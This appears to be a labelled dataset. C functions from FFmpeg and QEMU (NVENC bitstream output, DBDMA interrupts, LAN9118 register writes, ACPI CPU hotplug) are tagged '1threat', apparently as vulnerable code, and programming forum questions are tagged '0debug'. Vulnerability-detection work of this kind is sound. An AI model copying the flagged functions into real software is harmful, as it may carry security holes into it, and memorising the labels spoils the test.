slice_mode_data = ctx->encode_config.encodeCodecConfig.h264Config.sliceModeData;
break;
case AV_CODEC_ID_H265:
slice_mode_data = ctx->encode_config.encodeCodecConfig.hevcConfig.sliceModeData;
break;
default:
av_log(avctx, AV_LOG_ERROR, "Unknown codec name\n");
res = AVERROR(EINVAL);
goto error;
}
slice_offsets = av_mallocz(slice_mode_data * sizeof(*slice_offsets));
if (!slice_offsets)
goto error;
lock_params.version = NV_ENC_LOCK_BITSTREAM_VER;
lock_params.doNotWait = 0;
lock_params.outputBitstream = tmpoutsurf->output_surface;
lock_params.sliceOffsets = slice_offsets;
nv_status = p_nvenc->nvEncLockBitstream(ctx->nvencoder, &lock_params);
if (nv_status != NV_ENC_SUCCESS) {
res = nvenc_print_error(avctx, nv_status, "Failed locking bitstream buffer");
goto error;
}
if (res = ff_alloc_packet2(avctx, pkt, lock_params.bitstreamSizeInBytes,0)) {
p_nvenc->nvEncUnlockBitstream(ctx->nvencoder, tmpoutsurf->output_surface);
goto error;
}
memcpy(pkt->data, lock_params.bitstreamBufferPtr, lock_params.bitstreamSizeInBytes);
nv_status = p_nvenc->nvEncUnlockBitstream(ctx->nvencoder, tmpoutsurf->output_surface);
if (nv_status != NV_ENC_SUCCESS)
nvenc_print_error(avctx, nv_status, "Failed unlocking bitstream buffer, expect the gates of mordor to open");
if (avctx->pix_fmt == AV_PIX_FMT_CUDA) {
p_nvenc->nvEncUnmapInputResource(ctx->nvencoder, tmpoutsurf->in_map.mappedResource);
av_frame_unref(tmpoutsurf->in_ref);
ctx->registered_frames[tmpoutsurf->reg_idx].mapped = 0;
tmpoutsurf->input_surface = NULL;
}
switch (lock_params.pictureType) {
case NV_ENC_PIC_TYPE_IDR:
pkt->flags |= AV_PKT_FLAG_KEY;
case NV_ENC_PIC_TYPE_I:
pict_type = AV_PICTURE_TYPE_I;
break;
case NV_ENC_PIC_TYPE_P:
pict_type = AV_PICTURE_TYPE_P;
break;
case NV_ENC_PIC_TYPE_B:
pict_type = AV_PICTURE_TYPE_B;
break;
case NV_ENC_PIC_TYPE_BI:
pict_type = AV_PICTURE_TYPE_BI;
break;
default:
av_log(avctx, AV_LOG_ERROR, "Unknown picture type encountered, expect the output to be broken.\n");
av_log(avctx, AV_LOG_ERROR, "Please report this error and include as much information on how to reproduce it as possible.\n");
res = AVERROR_EXTERNAL;
goto error;
}
#if FF_API_CODED_FRAME
FF_DISABLE_DEPRECATION_WARNINGS
avctx->coded_frame->pict_type = pict_type;
FF_ENABLE_DEPRECATION_WARNINGS
#endif
ff_side_data_set_encoder_stats(pkt,
(lock_params.frameAvgQP - 1) * FF_QP2LAMBDA, NULL, 0, pict_type);
res = nvenc_set_timestamp(avctx, &lock_params, pkt);
if (res < 0)
goto error2;
av_free(slice_offsets);
return 0;
error:
timestamp_queue_dequeue(ctx->timestamp_list);
error2:
av_free(slice_offsets);
return res;
}
| 1threat
|
Adblock. Add css class or remove attribute from element : <p>Is it possible to add css rule to an element at some page by adblock?
Something like this</p>
<pre><code>#myElement {
color: white !important;
}
</code></pre>
<p>I tried to find a script that updates style of this element on page load but it seems that it is not a best way. </p>
| 0debug
|
static void qemu_aio_wait_nonblocking(void)
{
qemu_notify_event();
qemu_aio_wait();
}
| 1threat
|
I need help for implement a custom django login : **I'm trying to develop a custom login in Django instead of using Django inbuilt login system. I don't know weather it's possible of not. If it's possible please help me to do this. I want to capture the value form the login template form. I have tried many ways but it's not working**
**This is my backend code**
def login(request):
if request.method == 'GET':
context = ''
return render(request, 'mytest/login.html', {'context': context})
elif request.method == 'POST':
context = ''
username = request.POST.get('username', '')
password = request.POST.get('password', '')
print(username)
print(password)
return render(request, 'mytest/login.html', {'context': context})
**This is my login template**
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form method="post" action="{% url 'login' %}">
{% csrf_token %}
<label>Email</label><input type="text" name="username" required><br>
<label>Password</label><input type="password" name="password" required>
<input type="submit" value="Login">
</form>
</body>
</html>
**please help me to get this work**
| 0debug
|
static void conditional_interrupt(DBDMA_channel *ch)
{
dbdma_cmd *current = &ch->current;
uint16_t intr;
uint16_t sel_mask, sel_value;
uint32_t status;
int cond;
DBDMA_DPRINTF("conditional_interrupt\n");
intr = le16_to_cpu(current->command) & INTR_MASK;
switch(intr) {
case INTR_NEVER:
return;
case INTR_ALWAYS:
qemu_irq_raise(ch->irq);
return;
}
status = be32_to_cpu(ch->regs[DBDMA_STATUS]) & DEVSTAT;
sel_mask = (be32_to_cpu(ch->regs[DBDMA_INTR_SEL]) >> 16) & 0x0f;
sel_value = be32_to_cpu(ch->regs[DBDMA_INTR_SEL]) & 0x0f;
cond = (status & sel_mask) == (sel_value & sel_mask);
switch(intr) {
case INTR_IFSET:
if (cond)
qemu_irq_raise(ch->irq);
return;
case INTR_IFCLR:
if (!cond)
qemu_irq_raise(ch->irq);
return;
}
}
| 1threat
|
How i pass this list to the menu activity : I want to pass the data that is on "nombres" to the menu activity but i dont know how to make an intent of a list with this situation, i have tried some methods but my app crash
private List<String> nombres = new ArrayList<String>();
public void atomar(View view) {
EditText textField = (EditText) findViewById(R.id.textField);
nombres.add(textField.getText().toString());
Log.i("Info", nombres.toString());
Toast.makeText(MainActivity.this, textField.getText().toString()+" Agregado!, para borrar presiona el nombre", Toast.LENGTH_SHORT).show();
}
public Button atomar2;
public void init(){
atomar2 = (Button)findViewById(R.id.atomar2);
atomar2.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent toy = new Intent(MainActivity.this, menu.class);
toy.putStringArrayListExtra("key", nombres.);
startActivity(toy);
}
});
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
init();
| 0debug
|
Add syntax into if statement in PHP : <p>I want to add these code into if statement in php. Can it be done?</p>
<pre><code><script>
$(function () {
"use strict";
$('#first_container').vegas({
color: '<?php echo $wa[custom_79];?>',
delay: <?php echo $wa[custom_80];?>,
transitionDuration: <?php echo $wa[custom_133];?>,
timer: false,
transition: null,
slides: [
<?php if ($wa[custom_82] != "" && $wa[custom_83] == "1") { $wa[custom_82] = str_replace(' ', '%20', $wa[custom_82]);?>
{src: '<?php echo $wa[custom_82];?>'},
<?php }
if ($wa[custom_84] != "" && $wa[custom_85] == "1") { $wa[custom_84] = str_replace(' ', '%20', $wa[custom_84]);?>
{src: '<?php echo $wa[custom_84];?>'},
<?php }
if ($wa[custom_86] != "" && $wa[custom_87] == "1") { $wa[custom_87] = str_replace(' ', '%20', $wa[custom_87]);?>
{src: '<?php echo $wa[custom_86];?>'},
<?php }
if ($wa[custom_88] != "" && $wa[custom_89] == "1") { $wa[custom_89] = str_replace(' ', '%20', $wa[custom_89]);?>
{src: '<?php echo $wa[custom_88];?>'},
<?php }
if ($wa[custom_90] != "" && $wa[custom_91] == "1") { $wa[custom_91] = str_replace(' ', '%20', $wa[custom_91]);?>
{src: '<?php echo $wa[custom_90]?>'},
<?php }
if ($wa[custom_92] != "" && $wa[custom_93] == "1") { $wa[custom_93] = str_replace(' ', '%20', $wa[custom_93]);?>
{src: '<?php echo $wa[custom_92]?>'},
<?php }
if ($wa[custom_94] != "" && $wa[custom_95] == "1") { $wa[custom_95] = str_replace(' ', '%20', $wa[custom_95]);?>
{src: '<?php echo $wa[custom_94];?>'},
<?php }
?>
<? if ($wa[custom_94] != "" && $wa[custom_95] == "1") { $wa[custom_95] = str_replace(' ', '%20', $wa[custom_95]);?>
{src:'images/1-Hov-Lean-1800px-X600px.jpg'},
<? } ?>
<? if ($wa[custom_96] != "" && $wa[custom_95] == "1") { $wa[custom_95] = str_replace(' ', '%20', $wa[custom_95]);?>
{src:'images/1-Angkor-1800px-X-600px.jpg'},
<? } ?>
<? if ($wa[custom_98] != "" && $wa[custom_95] == "1") { $wa[custom_97] = str_replace(' ', '%20', $wa[custom_97]);?>
{src:'images/Home-Pages-Angkor-PC.png'},
<? } ?>
{src:'images/Home-Pages-Peakbond.png'}
],
</script>
<?php if ($wa[custom_132] == "1") { ?>
<a href="#" class="previous hidden-xs" style="visibility: visible;"></a>
<a href="#" class="next hidden-xs" style="visibility: visible;"></a>
<?php } ?>
</code></pre>
<p>It should be like this</p>
<pre><code><?php
if($_COOKIE["size"]>800)
echo "I want to put those code inside here";
else
echo "Not decide yet";
?>
</code></pre>
<p>Can this be done because i want to display different image banner in the slideshow based on the resolution of the device monitor. Thanks</p>
| 0debug
|
How to compare date in javascript in this format? : <p>How to compare today's date time with <code>2016-06-01T00:00:00Z</code> format in javascript ? </p>
<p>I get <code>2016-06-01T00:00:00Z</code> date format from backend. I want to check this with todays date, but not sure of how to check in that format.</p>
<p>I am extremely new to javascript.</p>
| 0debug
|
Show splash screen before show main screen in react native without using 3rd party library : <p>I am beginner in react native so may be my question seems silly to all experts.</p>
<p>but I am struggling with a basic feature that i want to implement that i want to start my app with splash screen and after few seconds i want to show login screen or main screen.</p>
<p>I checked some example but did not found any example with full code so don't know how to use those code snippets in my app.</p>
<p>I've tried to apply some code as per documentation but my code is giving error, please have a look and help me.</p>
<p>Below is my code:</p>
<p><strong>Index.android.js</strong></p>
<pre>
/**
* Sample React Native App
* https://github.com/facebook/react-native
* @flow
*/
import React, { Component } from 'react';
import {
AppRegistry,
StyleSheet,
Text,
View,
Navigator
} from 'react-native';
import Splash from './Splash';
import Login from './Login';
export default class DigitalReceipt extends Component {
render() {
return (
{
if (route.sceneConfig) {
return route.sceneConfig;
}
return Navigator.SceneConfigs.FloatFromRight;
}} />
);
}
renderScene(route, navigator) {
var routeId = route.id;
if (routeId === 'Splash') {
return (
);
}
if (routeId === 'Login') {
return (
);
}
return this.noRoute(navigator);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
backgroundColor: '#F5FCFF',
},
welcome: {
fontSize: 20,
textAlign: 'center',
margin: 10,
},
instructions: {
textAlign: 'center',
color: '#333333',
marginBottom: 5,
},
});
AppRegistry.registerComponent('DigitalReceipt', () => DigitalReceipt);
</pre>
<p><strong>Splash.js</strong></p>
<pre>
import React, { Component } from 'react';
import {
AppRegistry,
View,
Text,
StyleSheet,
Image
} from 'react-native';
import { StackNavigator } from 'react-navigation';
import Login from './Login';
class Splash extends Component{
componentWillMount() {
var navigator = this.props.navigator;
setTimeout(() => {
navigate('Login')
}, 1000);
}
render(){
const { navigate } = this.props.navigation;
return (
Digital Receipt
Powered by React Native
);
}
}
const SplashApp = StackNavigator({
Login: { screen: Login },
Splash: { screen: Splash },
});
const styles = StyleSheet.create({
wrapper: {
backgroundColor: '#FFFFFF',
flex: 1,
justifyContent: 'center',
alignItems: 'center'
},
title: {
color: '#2ea9d3',
fontSize: 32,
fontWeight: 'bold'
},
subtitle:{
color: '#2ea9d3',
fontWeight: '200',
paddingBottom: 20
},
titleWrapper:{
flex: 1,
justifyContent: 'center',
alignItems: 'center'
},
logo:{
width: 96,
height: 96
}
});
AppRegistry.registerComponent('SplashApp', () => SplashApp);
</pre>
<p><strong>Login.js</strong></p>
<pre>
import React, { Component } from 'react';
import {
AppRegistry,
View,
Text,
StyleSheet,
Image
} from 'react-native';
import { StackNavigator } from 'react-navigation';
import Splash from './Splash';
class Login extends Component{
static navigationOptions = {
title: 'Welcome',
};
render(){
const { navigate } = this.props.navigation;
return (
Login Screen
);
}
}
const LoginApp = StackNavigator({
Login: { screen: Login },
Splash: { screen: Splash },
});
const styles = StyleSheet.create({
wrapper: {
backgroundColor: '#FFFFFF',
flex: 1,
justifyContent: 'center',
alignItems: 'center'
},
title: {
color: '#2ea9d3',
fontSize: 32,
fontWeight: 'bold'
}
});
AppRegistry.registerComponent('LoginApp', () => LoginApp);
</pre>
<p><a href="https://i.stack.imgur.com/qW0Ml.png" rel="noreferrer"><img src="https://i.stack.imgur.com/qW0Ml.png" alt="enter image description here"></a></p>
<p><a href="https://i.stack.imgur.com/Hu9kw.png" rel="noreferrer"><img src="https://i.stack.imgur.com/Hu9kw.png" alt="enter image description here"></a></p>
<p>Please help me, sorry for the silly mistakes in code if you find any.</p>
<p>Thanks</p>
| 0debug
|
Change ImageButton Resource Randomly : I have 320 images in **drawable** and I have an ImageButton so when it's pressed I want the Image to be changed randomly, the image name is like this `file_xyz`, the **xyz** are numbers each one generated randomly using this code:
`rand = new Random(System.currentTimeMillis());
x = rand.nextInt(3 - 0) + 0;
y = rand.nextInt(7 - 0) + 0;
z = rand.nextInt(9 - 0) + 0;
return "shape_" + x+ y+ z;`
so this give me a string which I want to use it to change the resource of ImageButton, so how I can do this ?
| 0debug
|
How to replace AddJwtBearer extension in .NET Core 3.0 : <p>I have the following code which compiles and works in .NET Core 2.2:</p>
<pre><code> byte[] key = Encoding.ASCII.GetBytes(Constants.JWT_SECRET);
services.AddAuthentication(x =>
{
x.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
x.DefaultChallengeScheme = JwtBearerDefaults.AuthenticationScheme;
})
.AddJwtBearer(x =>
{
x.RequireHttpsMetadata = false;
x.SaveToken = true;
x.TokenValidationParameters = new TokenValidationParameters
{
ValidateIssuerSigningKey = true,
IssuerSigningKey = new SymmetricSecurityKey(key),
ValidateIssuer = false,
ValidateAudience = false
};
});
</code></pre>
<p>In .NET Core 3.0 I am getting the error:</p>
<blockquote>
<p>Error CS1061 'AuthenticationBuilder' does not contain a definition for
'AddJwtBearer' and no accessible extension method 'AddJwtBearer'
accepting a first argument of type 'AuthenticationBuilder' could be
found (are you missing a using directive or an assembly reference?)</p>
</blockquote>
<p>when I look at the MSFT documentation:
<a href="https://docs.microsoft.com/en-us/dotnet/api/microsoft.extensions.dependencyinjection.jwtbearerextensions.addjwtbearer?view=aspnetcore-2.2" rel="noreferrer">https://docs.microsoft.com/en-us/dotnet/api/microsoft.extensions.dependencyinjection.jwtbearerextensions.addjwtbearer?view=aspnetcore-2.2</a></p>
<p>and try to got to version 3.0, It seems that this is the last version where this is defined. How do I migrate AddJwtBearer to Core 3.0?</p>
| 0debug
|
void av_opt_freep_ranges(AVOptionRanges **rangesp)
{
int i;
AVOptionRanges *ranges = *rangesp;
if (!ranges)
return;
for (i = 0; i < ranges->nb_ranges * ranges->nb_components; i++) {
AVOptionRange *range = ranges->range[i];
av_freep(&range->str);
av_freep(&ranges->range[i]);
}
av_freep(&ranges->range);
av_freep(rangesp);
}
| 1threat
|
NodeJS sendFile with File Name in download : <p>I try to send file to client with this code:</p>
<pre><code>router.get('/get/myfile', function (req, res, next) {
res.sendFile("/other_file_name.dat");
});
</code></pre>
<p>it's work fine but I need that when user download this file from the url:</p>
<pre><code>http://mynodejssite.com/get/myfile
</code></pre>
<p>the filename into the browser must be "other_file_name.dat" and not "myfile".</p>
| 0debug
|
Rotating Circle in python GUI controlled by a slider : <p>I am using Raspberry Pi to Control the motor speed with a slider. I want to make my interface look more interactive. So when i move the slider motor speed changes and i want an on screen rotating circle, maybe a Dot which rotates 360 which can mimic the motor. when i move the slider the circle should start rotating and when the slider comes to 0 the rotation should stop. Any help would be appreciated thank you.</p>
| 0debug
|
How can i get a number input from a TextField? (Swift)(X-code) : i will get right to the question.
Variable A = 0
Variable B = 20
I want user to input number into TextField and i could save that number into variable A. Then i want to do an If statement where
If A == B then (code)
What i am having trouble is getting that number input from the textfield.
Thanks in advance!
| 0debug
|
How to get AppCompatDelegate current mode if default is auto : <p>I have activity like this:</p>
<pre><code>package com.nkdroid.daynighttheme;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.app.AppCompatDelegate;
import android.widget.TextView;
public class ModeActivity extends AppCompatActivity {
private TextView txtModeType;
int modeType;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_auto_mode);
txtModeType = (TextView) findViewById(R.id.txtModeType);
modeType = AppCompatDelegate.getDefaultNightMode();
if (modeType == AppCompatDelegate.MODE_NIGHT_AUTO) {
txtModeType.setText("Default Mode: Auto");
} else if (modeType == AppCompatDelegate.MODE_NIGHT_YES) {
txtModeType.setText("Default Mode: Night");
} else if (modeType == AppCompatDelegate.MODE_NIGHT_NO) {
txtModeType.setText("Default Mode: Day");
}
}
}`
</code></pre>
<p>Is it possible to get which mode (day or night) is active now if default mode set to <strong>AUTO</strong>?</p>
| 0debug
|
python bot telegram-send a message to bot : I'm working on my first bot of telegram in Python. Currently I have done the send of a message and the send of an answer with bot.sendMessage(). Perfectly. But now I would like that after the send of a specific command the bot stays in listening to another message. I tell you an example :) I send "/add" and the bot says to me: ok, tell me your torrent link. At this point I send to bot another message with the link torrent and the bot saves it into a python variable and then I can use it to do the specific command. I hope that someone help me. Thanks.
| 0debug
|
How to install PHP composer inside a docker container : <p>I try to work out a way to create a dev environment using docker and laravel.</p>
<p>I have the following dockerfile:</p>
<pre><code>FROM php:7.1.3-fpm
RUN apt-get update && apt-get install -y libmcrypt-dev \
mysql-client libmagickwand-dev --no-install-recommends \
&& pecl install imagick \
&& docker-php-ext-enable imagick \
&& docker-php-ext-install mcrypt pdo_mysql
&& chmod -R o+rw laravel-master/bootstrap laravel-master/storage
</code></pre>
<p>Laravel requires composer to call composer dump-autoload when working with database migration. Therefore, I need composer inside the docker container. </p>
<p>I tried:</p>
<pre><code>RUN curl -sS https://getcomposer.org/installer | php -- \
--install-dir=/usr/bin --filename=composer
</code></pre>
<p>But when I call </p>
<pre><code>docker-compose up
docker-compose exec app composer dump-autoload
</code></pre>
<p>It throws the following error:</p>
<pre><code>rpc error: code = 13 desc = invalid header field value "oci runtime error: exec failed: container_linux.go:247: starting container process caused \"exec: \\\"composer\\\": executable file not found in $PATH\"\n"
</code></pre>
<p>I would be more than happy for advice how I can add composer to the PATH within my dockerfile or what else I can do to surpass this error. </p>
<p>Thanks for your support.
Also: <a href="https://github.com/andrelandgraf/laravel-docker" rel="noreferrer">this</a> is the gitub repository if you need to see the docker-compose.yml file or anything else.</p>
| 0debug
|
single record buffering in sap abap : i need a answer for following. my table is 'stud'
no name grade
101 naga A
102 raj A
103 john A
query is : select * from stud where no = 101 and grade = 'A'.
if am using single record buffering, how many data is storing in the buffer area.
| 0debug
|
why my output is wronging this code? : Basically my code is to write a program that shows how many people uses a specific email provider based on input from the user I have csv file and every time i run the program prtints 0 this is my code:
user = input('Enter an email'):
c=0
f_in = open('us-500.csv','r')
f_in.readline()
for line in f_in:
line = line.strip(' ')
first, last, company, address, city, country, state, zip, phone1, phone2, email, web = line.split(',')
for count in email:
if count == user:
c +=1
print(c)
f_in.close()
| 0debug
|
How to make all divs the same size whether they have content or not? : <p>I am creating a battleship game, where there is a generated grid on the board, where each square is a colored box with a number, and is its own div. The problem I'm having is that when one of the divs gets some extra content in it, it makes that particular div longer than the rest of the divs, which throws off the whole grid. How do I make sure all of the divs are the same height no matter if they have extra content or not? I have tried adding a height property to the CSS, but it does not change the actual height of the colored box.</p>
| 0debug
|
static void lan9118_writel(void *opaque, target_phys_addr_t offset,
uint64_t val, unsigned size)
{
lan9118_state *s = (lan9118_state *)opaque;
offset &= 0xff;
if (offset >= 0x20 && offset < 0x40) {
tx_fifo_push(s, val);
return;
}
switch (offset) {
case CSR_IRQ_CFG:
val &= (IRQ_EN | IRQ_POL | IRQ_TYPE);
s->irq_cfg = (s->irq_cfg & IRQ_INT) | val;
break;
case CSR_INT_STS:
s->int_sts &= ~val;
break;
case CSR_INT_EN:
s->int_en = val & ~RESERVED_INT;
s->int_sts |= val & SW_INT;
break;
case CSR_FIFO_INT:
DPRINTF("FIFO INT levels %08x\n", val);
s->fifo_int = val;
break;
case CSR_RX_CFG:
if (val & 0x8000) {
s->rx_fifo_used = 0;
s->rx_status_fifo_used = 0;
s->rx_packet_size_tail = s->rx_packet_size_head;
s->rx_packet_size[s->rx_packet_size_head] = 0;
}
s->rx_cfg = val & 0xcfff1ff0;
break;
case CSR_TX_CFG:
if (val & 0x8000) {
s->tx_status_fifo_used = 0;
}
if (val & 0x4000) {
s->txp->state = TX_IDLE;
s->txp->fifo_used = 0;
s->txp->cmd_a = 0xffffffff;
}
s->tx_cfg = val & 6;
break;
case CSR_HW_CFG:
if (val & 1) {
lan9118_reset(&s->busdev.qdev);
} else {
s->hw_cfg = (val & 0x003f300) | (s->hw_cfg & 0x4);
}
break;
case CSR_RX_DP_CTRL:
if (val & 0x80000000) {
s->rxp_pad = 0;
s->rxp_offset = 0;
if (s->rxp_size == 0) {
rx_fifo_pop(s);
s->rxp_pad = 0;
s->rxp_offset = 0;
}
s->rx_fifo_head += s->rxp_size;
if (s->rx_fifo_head >= s->rx_fifo_size) {
s->rx_fifo_head -= s->rx_fifo_size;
}
}
break;
case CSR_PMT_CTRL:
if (val & 0x400) {
phy_reset(s);
}
s->pmt_ctrl &= ~0x34e;
s->pmt_ctrl |= (val & 0x34e);
break;
case CSR_GPIO_CFG:
s->gpio_cfg = val & 0x7777071f;
break;
case CSR_GPT_CFG:
if ((s->gpt_cfg ^ val) & GPT_TIMER_EN) {
if (val & GPT_TIMER_EN) {
ptimer_set_count(s->timer, val & 0xffff);
ptimer_run(s->timer, 0);
} else {
ptimer_stop(s->timer);
ptimer_set_count(s->timer, 0xffff);
}
}
s->gpt_cfg = val & (GPT_TIMER_EN | 0xffff);
break;
case CSR_WORD_SWAP:
s->word_swap = val;
break;
case CSR_MAC_CSR_CMD:
s->mac_cmd = val & 0x4000000f;
if (val & 0x80000000) {
if (val & 0x40000000) {
s->mac_data = do_mac_read(s, val & 0xf);
DPRINTF("MAC read %d = 0x%08x\n", val & 0xf, s->mac_data);
} else {
DPRINTF("MAC write %d = 0x%08x\n", val & 0xf, s->mac_data);
do_mac_write(s, val & 0xf, s->mac_data);
}
}
break;
case CSR_MAC_CSR_DATA:
s->mac_data = val;
break;
case CSR_AFC_CFG:
s->afc_cfg = val & 0x00ffffff;
break;
case CSR_E2P_CMD:
lan9118_eeprom_cmd(s, (val >> 28) & 7, val & 0x7f);
break;
case CSR_E2P_DATA:
s->e2p_data = val & 0xff;
break;
default:
hw_error("lan9118_write: Bad reg 0x%x = %x\n", (int)offset, (int)val);
break;
}
lan9118_update(s);
}
| 1threat
|
How to call/use a function inside an object? Javascript : I want to call a function or even create one in an object map-area. How does it properly work ? This is what I got. Doesn't work though...
var _images = {
test: {
path:'test.jpg',
areas: [{
coords:'211,38,238,60',
text: 'let me test it',
//onclick: .... ?
obj = function(){
this.hello = function hello (){
}
alert("Hello");
}
}
]
},
}
var asdf = new obj();
asdf.cancel();
| 0debug
|
C: Take parts from a string without a delimeter (using strstr) : I have a string, for example: "Error_*_code_break_*_505_*_7.8"
I need to split the string with a loop by the delimeter "_*_" using the strstr function and input all parts into a new array, let's call it -
char elements[4] = {"Error", "code_break", "505", "7.8"}
but strstr only gives me a pointer to a char, any help?
note: the second string "code_break" should still contain "_", or in any other case.
| 0debug
|
void build_legacy_cpu_hotplug_aml(Aml *ctx, MachineState *machine,
uint16_t io_base, uint16_t io_len)
{
Aml *dev;
Aml *crs;
Aml *pkg;
Aml *field;
Aml *method;
Aml *if_ctx;
Aml *else_ctx;
int i, apic_idx;
Aml *sb_scope = aml_scope("_SB");
uint8_t madt_tmpl[8] = {0x00, 0x08, 0x00, 0x00, 0x00, 0, 0, 0};
Aml *cpu_id = aml_arg(0);
Aml *cpu_on = aml_local(0);
Aml *madt = aml_local(1);
Aml *cpus_map = aml_name(CPU_ON_BITMAP);
Aml *zero = aml_int(0);
Aml *one = aml_int(1);
MachineClass *mc = MACHINE_GET_CLASS(machine);
CPUArchIdList *apic_ids = mc->possible_cpu_arch_ids(machine);
PCMachineState *pcms = PC_MACHINE(machine);
method = aml_method(CPU_MAT_METHOD, 1, AML_NOTSERIALIZED);
aml_append(method,
aml_store(aml_derefof(aml_index(cpus_map, cpu_id)), cpu_on));
aml_append(method,
aml_store(aml_buffer(sizeof(madt_tmpl), madt_tmpl), madt));
aml_append(method, aml_store(cpu_id, aml_index(madt, aml_int(2))));
aml_append(method, aml_store(cpu_id, aml_index(madt, aml_int(3))));
aml_append(method, aml_store(cpu_on, aml_index(madt, aml_int(4))));
aml_append(method, aml_return(madt));
aml_append(sb_scope, method);
method = aml_method(CPU_STATUS_METHOD, 1, AML_NOTSERIALIZED);
aml_append(method,
aml_store(aml_derefof(aml_index(cpus_map, cpu_id)), cpu_on));
if_ctx = aml_if(cpu_on);
{
aml_append(if_ctx, aml_return(aml_int(0xF)));
}
aml_append(method, if_ctx);
else_ctx = aml_else();
{
aml_append(else_ctx, aml_return(zero));
}
aml_append(method, else_ctx);
aml_append(sb_scope, method);
method = aml_method(CPU_EJECT_METHOD, 2, AML_NOTSERIALIZED);
aml_append(method, aml_sleep(200));
aml_append(sb_scope, method);
method = aml_method(CPU_SCAN_METHOD, 0, AML_NOTSERIALIZED);
{
Aml *while_ctx, *if_ctx2, *else_ctx2;
Aml *bus_check_evt = aml_int(1);
Aml *remove_evt = aml_int(3);
Aml *status_map = aml_local(5);
Aml *byte = aml_local(2);
Aml *idx = aml_local(0);
Aml *is_cpu_on = aml_local(1);
Aml *status = aml_local(3);
aml_append(method, aml_store(aml_name(CPU_STATUS_MAP), status_map));
aml_append(method, aml_store(zero, byte));
aml_append(method, aml_store(zero, idx));
while_ctx = aml_while(aml_lless(idx, aml_sizeof(cpus_map)));
aml_append(while_ctx,
aml_store(aml_derefof(aml_index(cpus_map, idx)), is_cpu_on));
if_ctx = aml_if(aml_and(idx, aml_int(0x07), NULL));
{
aml_append(if_ctx, aml_shiftright(byte, one, byte));
}
aml_append(while_ctx, if_ctx);
else_ctx = aml_else();
{
aml_append(else_ctx, aml_store(aml_derefof(aml_index(status_map,
aml_shiftright(idx, aml_int(3), NULL))), byte));
}
aml_append(while_ctx, else_ctx);
aml_append(while_ctx, aml_store(aml_and(byte, one, NULL), status));
if_ctx = aml_if(aml_lnot(aml_equal(is_cpu_on, status)));
{
aml_append(if_ctx, aml_store(status, aml_index(cpus_map, idx)));
if_ctx2 = aml_if(aml_equal(status, one));
{
aml_append(if_ctx2,
aml_call2(AML_NOTIFY_METHOD, idx, bus_check_evt));
}
aml_append(if_ctx, if_ctx2);
else_ctx2 = aml_else();
{
aml_append(else_ctx2,
aml_call2(AML_NOTIFY_METHOD, idx, remove_evt));
}
}
aml_append(if_ctx, else_ctx2);
aml_append(while_ctx, if_ctx);
aml_append(while_ctx, aml_increment(idx));
aml_append(method, while_ctx);
}
aml_append(sb_scope, method);
QEMU_BUILD_BUG_ON(ACPI_CPU_HOTPLUG_ID_LIMIT > 256);
g_assert(pcms->apic_id_limit <= ACPI_CPU_HOTPLUG_ID_LIMIT);
dev = aml_device("PCI0." stringify(CPU_HOTPLUG_RESOURCE_DEVICE));
aml_append(dev, aml_name_decl("_HID", aml_eisaid("PNP0A06")));
aml_append(dev,
aml_name_decl("_UID", aml_string("CPU Hotplug resources"))
);
aml_append(dev, aml_name_decl("_STA", aml_int(0xB)));
crs = aml_resource_template();
aml_append(crs,
aml_io(AML_DECODE16, io_base, io_base, 1, io_len)
);
aml_append(dev, aml_name_decl("_CRS", crs));
aml_append(sb_scope, dev);
aml_append(sb_scope, aml_operation_region(
"PRST", AML_SYSTEM_IO, aml_int(io_base), io_len));
field = aml_field("PRST", AML_BYTE_ACC, AML_NOLOCK, AML_PRESERVE);
aml_append(field, aml_named_field("PRS", 256));
aml_append(sb_scope, field);
for (i = 0; i < apic_ids->len; i++) {
int apic_id = apic_ids->cpus[i].arch_id;
assert(apic_id < ACPI_CPU_HOTPLUG_ID_LIMIT);
dev = aml_processor(apic_id, 0, 0, "CP%.02X", apic_id);
method = aml_method("_MAT", 0, AML_NOTSERIALIZED);
aml_append(method,
aml_return(aml_call1(CPU_MAT_METHOD, aml_int(apic_id))));
aml_append(dev, method);
method = aml_method("_STA", 0, AML_NOTSERIALIZED);
aml_append(method,
aml_return(aml_call1(CPU_STATUS_METHOD, aml_int(apic_id))));
aml_append(dev, method);
method = aml_method("_EJ0", 1, AML_NOTSERIALIZED);
aml_append(method,
aml_return(aml_call2(CPU_EJECT_METHOD, aml_int(apic_id),
aml_arg(0)))
);
aml_append(dev, method);
aml_append(sb_scope, dev);
}
method = aml_method(AML_NOTIFY_METHOD, 2, AML_NOTSERIALIZED);
for (i = 0; i < apic_ids->len; i++) {
int apic_id = apic_ids->cpus[i].arch_id;
if_ctx = aml_if(aml_equal(aml_arg(0), aml_int(apic_id)));
aml_append(if_ctx,
aml_notify(aml_name("CP%.02X", apic_id), aml_arg(1))
);
aml_append(method, if_ctx);
}
aml_append(sb_scope, method);
pkg = pcms->apic_id_limit <= 255 ? aml_package(pcms->apic_id_limit) :
aml_varpackage(pcms->apic_id_limit);
for (i = 0, apic_idx = 0; i < apic_ids->len; i++) {
int apic_id = apic_ids->cpus[i].arch_id;
for (; apic_idx < apic_id; apic_idx++) {
aml_append(pkg, aml_int(0));
}
aml_append(pkg, aml_int(apic_ids->cpus[i].cpu ? 1 : 0));
apic_idx = apic_id + 1;
}
aml_append(sb_scope, aml_name_decl(CPU_ON_BITMAP, pkg));
g_free(apic_ids);
aml_append(ctx, sb_scope);
method = aml_method("\\_GPE._E02", 0, AML_NOTSERIALIZED);
aml_append(method, aml_call0("\\_SB." CPU_SCAN_METHOD));
aml_append(ctx, method);
}
| 1threat
|
excel array formula in distance matrix : Help me with the following problem without adding any helper cells and changing the data
"There are 8 cities in the country of Eight, A, B, C, D, E, F, G and H. Mr. Z decides to visit each city in his car starting from A. His planned itinerary is
A-->B-->C-->D-->E-->F-->G-->H.
The distance between the cities is given in Table I"
Table I
Distance
A B C D E F G H
A 0 200
B 200 0 350
C 350 0 500
D 500 0 250
E 250 0 850
F 850 0 1250
G 1250 0 150
H 150 0
